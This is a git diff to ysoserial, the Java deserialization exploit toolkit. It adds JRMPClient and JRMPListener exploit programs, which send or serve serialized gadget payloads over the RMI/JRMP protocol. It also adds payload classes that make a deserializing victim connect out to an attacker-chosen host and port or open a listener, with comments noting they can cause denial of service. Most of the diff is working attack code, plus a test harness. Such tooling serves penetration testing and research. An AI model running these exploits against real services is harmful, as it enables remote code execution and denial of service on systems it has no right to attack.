diff --git a/src/main/java/ysoserial/PayloadTest.java b/src/main/java/ysoserial/PayloadTest.java index ba21154..4f38682 100644 --- a/src/main/java/ysoserial/PayloadTest.java +++ b/src/main/java/ysoserial/PayloadTest.java @@ -21,4 +21,5 @@ public @interface PayloadTest { String precondition() default ""; String harness() default ""; + } diff --git a/src/main/java/ysoserial/exploit/JRMPClient.java b/src/main/java/ysoserial/exploit/JRMPClient.java new file mode 100644 index 0000000..7abfc7e --- /dev/null +++ b/src/main/java/ysoserial/exploit/JRMPClient.java @@ -0,0 +1,139 @@ +package ysoserial.exploit; + + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.net.URLClassLoader; +import java.net.UnknownHostException; + +import javax.net.SocketFactory; + +import sun.rmi.transport.TransportConstants; +import ysoserial.payloads.ObjectPayload.Utils; + + +/** + * @author mbechler + * + */ +@SuppressWarnings ( { + "restriction" +} ) +public class JRMPClient { + + public static final void main ( final String[] args ) { + if ( args.length < 4 ) { + System.err.println(JRMPClient.class.getName() + " "); + System.exit(-1); + } + + Object payloadObject = Utils.makePayloadObject(args[2], args[3]); + String hostname = args[ 0 ]; + int port = Integer.parseInt(args[ 1 ]); + try { + System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); + makeDGCCall(hostname, port, payloadObject); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + + } + + /** + * @param hostname + * @param port + * @param payloadObject + * @throws IOException + * @throws UnknownHostException + * @throws SocketException + */ + public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { + InetSocketAddress isa = new InetSocketAddress(hostname, port); + Socket s = null; + DataOutputStream dos = null; + try { + s = SocketFactory.getDefault().createSocket(hostname, port); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings ( "resource" ) + final ObjectOutputStream objOut = new MarshalOutputStream(dos); + + objOut.writeLong(2); // DGC + objOut.writeInt(0); + objOut.writeLong(0); + objOut.writeShort(0); + + objOut.writeInt(1); // dirty + objOut.writeLong(-669196253586618813L); + + objOut.writeObject(payloadObject); + + os.flush(); + } + finally { + if ( dos != null ) { + dos.close(); + } + if ( s != null ) { + s.close(); + } + } + } + + /** + * @author mbechler + * + */ + static final class MarshalOutputStream extends ObjectOutputStream { + + /** + * @param out + */ + MarshalOutputStream ( OutputStream out ) throws IOException { + super(out); + } + + @Override + protected void annotateClass ( Class cl ) throws IOException { + if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { + writeObject(null); + } + else { + URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); + String cb = ""; + for ( URL u : us ) { + cb += u.toString(); + } + writeObject(cb); + } + } + + + /** + * Serializes a location from which to load the specified class. + */ + @Override + protected void annotateProxyClass ( Class cl ) throws IOException { + annotateClass(cl); + } + } + + +} diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java new file mode 100644 index 0000000..0edb017 --- /dev/null +++ b/src/main/java/ysoserial/exploit/JRMPListener.java @@ -0,0 +1,284 @@ +package ysoserial.exploit; + + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.ObjectStreamClass; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketException; +import java.rmi.MarshalException; +import java.rmi.server.ObjID; +import java.rmi.server.UID; + +import javax.management.BadAttributeValueExpException; +import javax.net.ServerSocketFactory; + +import sun.rmi.transport.TransportConstants; +import ysoserial.payloads.ObjectPayload.Utils; +import ysoserial.payloads.util.Reflections; + + +/** + * @author mbechler + * + */ +@SuppressWarnings ( { + "restriction" +} ) +public class JRMPListener implements Runnable { + + private int port; + private Object payloadObject; + private ServerSocket ss; + private Object waitLock = new Object(); + private boolean exit; + private boolean hadConnection; + + + /** + * @param port + * @param payloadObject + * @throws IOException + * @throws NumberFormatException + */ + public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException { + this.port = port; + this.payloadObject = payloadObject; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + + public boolean waitFor ( int i ) { + try { + if ( this.hadConnection ) { + return true; + } + System.err.println("Waiting for connection"); + synchronized ( this.waitLock ) { + this.waitLock.wait(i); + } + return this.hadConnection; + } + catch ( InterruptedException e ) { + return false; + } + } + + + /** + * + */ + public void close () { + this.exit = true; + try { + this.ss.close(); + } + catch ( IOException e ) {} + synchronized ( this.waitLock ) { + this.waitLock.notify(); + } + } + + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JRMPListener.class.getName() + " "); + System.exit(-1); + return; + } + + final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); + + try { + int port = Integer.parseInt(args[ 0 ]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, payloadObject); + c.run(); + } + catch ( Exception e ) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + + + /** + * {@inheritDoc} + * + * @see java.lang.Runnable#run() + */ + public void run () { + try { + Socket s = null; + try { + while ( !this.exit && ( s = this.ss.accept() ) != null ) { + try { + s.setSoTimeout(5000); + InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); + System.err.println("Have connection from " + remote); + + InputStream is = s.getInputStream(); + InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); + + // Read magic (or HTTP wrapper) + bufIn.mark(4); + DataInputStream in = new DataInputStream(bufIn); + int magic = in.readInt(); + + short version = in.readShort(); + if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { + s.close(); + continue; + } + + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + DataOutputStream out = new DataOutputStream(bufOut); + + byte protocol = in.readByte(); + switch ( protocol ) { + case TransportConstants.StreamProtocol: + out.writeByte(TransportConstants.ProtocolAck); + out.writeUTF(remote.getHostString()); + out.writeInt(remote.getPort()); + out.flush(); + in.readUTF(); + in.readInt(); + case TransportConstants.SingleOpProtocol: + doMessage(s, in, out, this.payloadObject); + break; + default: + case TransportConstants.MultiplexProtocol: + System.err.println("Unsupported protocol"); + s.close(); + continue; + } + + bufOut.flush(); + out.flush(); + } + catch ( InterruptedException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + finally { + System.err.println("Closing connection"); + s.close(); + } + + } + + } + finally { + if ( s != null ) { + s.close(); + } + if ( this.ss != null ) { + this.ss.close(); + } + } + + } + catch ( SocketException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + } + + + /** + * @param s + * @param in + * @param out + * @throws Exception + */ + private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception { + System.err.println("Reading message..."); + + int op = in.read(); + + switch ( op ) { + case TransportConstants.Call: + // service incoming RMI call + doCall(in, out, payload); + break; + + case TransportConstants.Ping: + // send ack for ping + out.writeByte(TransportConstants.PingAck); + break; + + case TransportConstants.DGCAck: + UID u = UID.read(in); + break; + + default: + throw new IOException("unknown transport op " + op); + } + + s.close(); + } + + + /** + * @param in + * @param out + * @throws Exception + */ + private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception { + ObjectInputStream ois = new ObjectInputStream(in) { + + /** + * {@inheritDoc} + * + * @see java.io.ObjectInputStream#resolveClass(java.io.ObjectStreamClass) + */ + @Override + protected Class resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { + throw new IOException("Not allowed to read object"); + } + }; + + try { + ObjID.read(ois); + } + catch ( java.io.IOException e ) { + throw new MarshalException("unable to read objID", e); + } + + System.err.println("Sending return with payload"); + + out.writeByte(TransportConstants.Return);// transport op + ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out); + + oos.writeByte(TransportConstants.ExceptionalReturn); + new UID().write(oos); + + BadAttributeValueExpException ex = new BadAttributeValueExpException(null); + Reflections.setFieldValue(ex, "val", payload); + oos.writeObject(ex); + + oos.flush(); + out.flush(); + + this.hadConnection = true; + synchronized ( this.waitLock ) { + this.waitLock.notifyAll(); + } + } + +} diff --git a/src/main/java/ysoserial/payloads/JRMPClient.java b/src/main/java/ysoserial/payloads/JRMPClient.java new file mode 100644 index 0000000..093debc --- /dev/null +++ b/src/main/java/ysoserial/payloads/JRMPClient.java @@ -0,0 +1,81 @@ +package ysoserial.payloads; + + +import java.lang.reflect.Proxy; +import java.rmi.registry.Registry; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; +import ysoserial.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; + + +/** + * + * + * UnicastRef.newCall(RemoteObject, Operation[], int, long) + * DGCImpl_Stub.dirty(ObjID[], long, Lease) + * DGCClient$EndpointEntry.makeDirtyCall(Set, long) + * DGCClient$EndpointEntry.registerRefs(List) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + * + * Thread.start() + * DGCClient$EndpointEntry.(Endpoint) + * DGCClient$EndpointEntry.lookup(Endpoint) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + * + * Requires: + * - JavaSE + * + * Argument: + * - host:port to connect to, host only chooses random port (DOS if repeated many times) + * + * Yields: + * * an established JRMP connection to the endpoint (if reachable) + * * a connected RMI Registry proxy + * * one system thread per endpoint (DOS) + * + * @author mbechler + */ +@SuppressWarnings ( { + "restriction" +} ) +@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest") +public class JRMPClient extends PayloadRunner implements ObjectPayload { + + public Registry getObject ( final String command ) throws Exception { + + String host; + int port; + int sep = command.indexOf(':'); + if ( sep < 0 ) { + port = new Random().nextInt(65535); + host = command; + } + else { + host = command.substring(0, sep); + port = Integer.valueOf(command.substring(sep + 1)); + } + ObjID id = new ObjID(0); // RMI registry + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { + Registry.class + }, obj); + return proxy; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(JRMPClient.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/JRMPListener.java b/src/main/java/ysoserial/payloads/JRMPListener.java new file mode 100644 index 0000000..4f05e70 --- /dev/null +++ b/src/main/java/ysoserial/payloads/JRMPListener.java @@ -0,0 +1,55 @@ +package ysoserial.payloads; + + +import java.rmi.server.RemoteObject; +import java.rmi.server.RemoteRef; +import java.rmi.server.UnicastRemoteObject; + +import sun.rmi.server.ActivationGroupImpl; +import sun.rmi.server.UnicastServerRef; +import ysoserial.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * Gadget chain: + * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 + * UnicastRemoteObject.reexport() line: 266 + * UnicastRemoteObject.exportObject(Remote, int) line: 320 + * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 + * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 + * LiveRef.exportObject(Target) line: 147 + * TCPEndpoint.exportObject(Target) line: 411 + * TCPTransport.exportObject(Target) line: 249 + * TCPTransport.listen() line: 319 + * + * Requires: + * - JavaSE + * + * Argument: + * - Port number to open listener to + */ +@SuppressWarnings ( { + "restriction" +} ) +@PayloadTest( skip = "This test would make you potentially vulnerable") +public class JRMPListener extends PayloadRunner implements ObjectPayload { + + public UnicastRemoteObject getObject ( final String command ) throws Exception { + int jrmpPort = Integer.parseInt(command); + UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] { + RemoteRef.class + }, new Object[] { + new UnicastServerRef(jrmpPort) + }); + + Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); + return uro; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(JRMPListener.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/ObjectPayload.java b/src/main/java/ysoserial/payloads/ObjectPayload.java index 2693f76..c14f79a 100644 --- a/src/main/java/ysoserial/payloads/ObjectPayload.java +++ b/src/main/java/ysoserial/payloads/ObjectPayload.java @@ -42,5 +42,29 @@ public interface ObjectPayload { } return clazz; } + + + /** + * @param payloadType + * @param payloadArg + * @return an payload object + */ + public static Object makePayloadObject ( String payloadType, String payloadArg ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + final Object payloadObject; + try { + final ObjectPayload payload = payloadClass.newInstance(); + payloadObject = payload.getObject(payloadArg); + } + catch ( Exception e ) { + throw new IllegalArgumentException("Failed to construct payload",e); + } + return payloadObject; + } } } diff --git a/src/test/java/ysoserial/CustomTest.java b/src/test/java/ysoserial/CustomTest.java index e85a4d3..382ad16 100644 --- a/src/test/java/ysoserial/CustomTest.java +++ b/src/test/java/ysoserial/CustomTest.java @@ -6,11 +6,15 @@ */ package ysoserial; +import java.util.concurrent.Callable; /** * @author mbechler * */ -public interface CustomTest extends Runnable { +public interface CustomTest { + void run (Callable payload) throws Exception; + + String getPayloadArgs (); } diff --git a/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java new file mode 100644 index 0000000..569a8fc --- /dev/null +++ b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java @@ -0,0 +1,66 @@ +/** + * © 2016 AgNO3 Gmbh & Co. KG + * All right reserved. + * + * Created: 05.03.2016 by mbechler + */ +package ysoserial.payloads; + +import java.io.IOException; +import java.util.Random; +import java.util.concurrent.Callable; + +import javax.management.BadAttributeValueExpException; + +import org.junit.Assert; + +import ysoserial.CustomTest; +import ysoserial.exploit.JRMPListener; + +/** + * @author mbechler + * + */ +public class JRMPReverseConnectTest implements CustomTest { + + private int port; + + + /** + * + */ + public JRMPReverseConnectTest () { + port = new Random().nextInt(65535 - 1024) + 1024; + } + + /** + * {@inheritDoc} + * @throws IOException + * @throws NumberFormatException + * + * @see java.lang.Runnable#run() + */ + public void run (Callable payload) throws Exception { + JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo")); + Thread t = new Thread(l, "JRMP listener"); + try { + t.start(); + payload.call(); + Assert.assertTrue("Did not have connection", l.waitFor(1000)); + } finally { + l.close(); + t.interrupt(); + t.join(); + } + } + + /** + * {@inheritDoc} + * + * @see ysoserial.CustomTest#getPayloadArgs() + */ + public String getPayloadArgs () { + return "localhost:" + port; + } + +} diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index 9f68565..7d30857 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -66,7 +66,7 @@ public class PayloadsTest { } public static void testPayload(final Class> payloadClass, final Class[] addlClassesForClassLoader) throws Exception { - final String command = "hostname"; + String command = "hostname"; final String[] deps = buildDeps(payloadClass); PayloadTest t = payloadClass.getAnnotation(PayloadTest.class); @@ -85,19 +85,25 @@ public class PayloadsTest { if ( t != null && !t.harness().isEmpty() ) { wrapper = Class.forName(t.harness()).newInstance(); - if ( wrapper instanceof CustomTest ) { - ( (CustomTest) wrapper ).run(); - return; + if ( wrapper instanceof CustomTest ){ + command = ( (CustomTest) wrapper ).getPayloadArgs(); } } ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); - final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command)); + final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command)); + + Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized); + if ( wrapper instanceof WrappedTest ){ + callable = ((WrappedTest)wrapper).createCallable(callable); + } + + if ( wrapper instanceof CustomTest ) { + ( (CustomTest) wrapper ).run(callable); + return; + } try { - Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized); - if ( wrapper instanceof WrappedTest ){ - callable = ((WrappedTest)wrapper).createCallable(callable); - } + Object deserialized = sm.wrap(callable); Assert.fail(ASSERT_MESSAGE); // should never get here } catch (Throwable e) {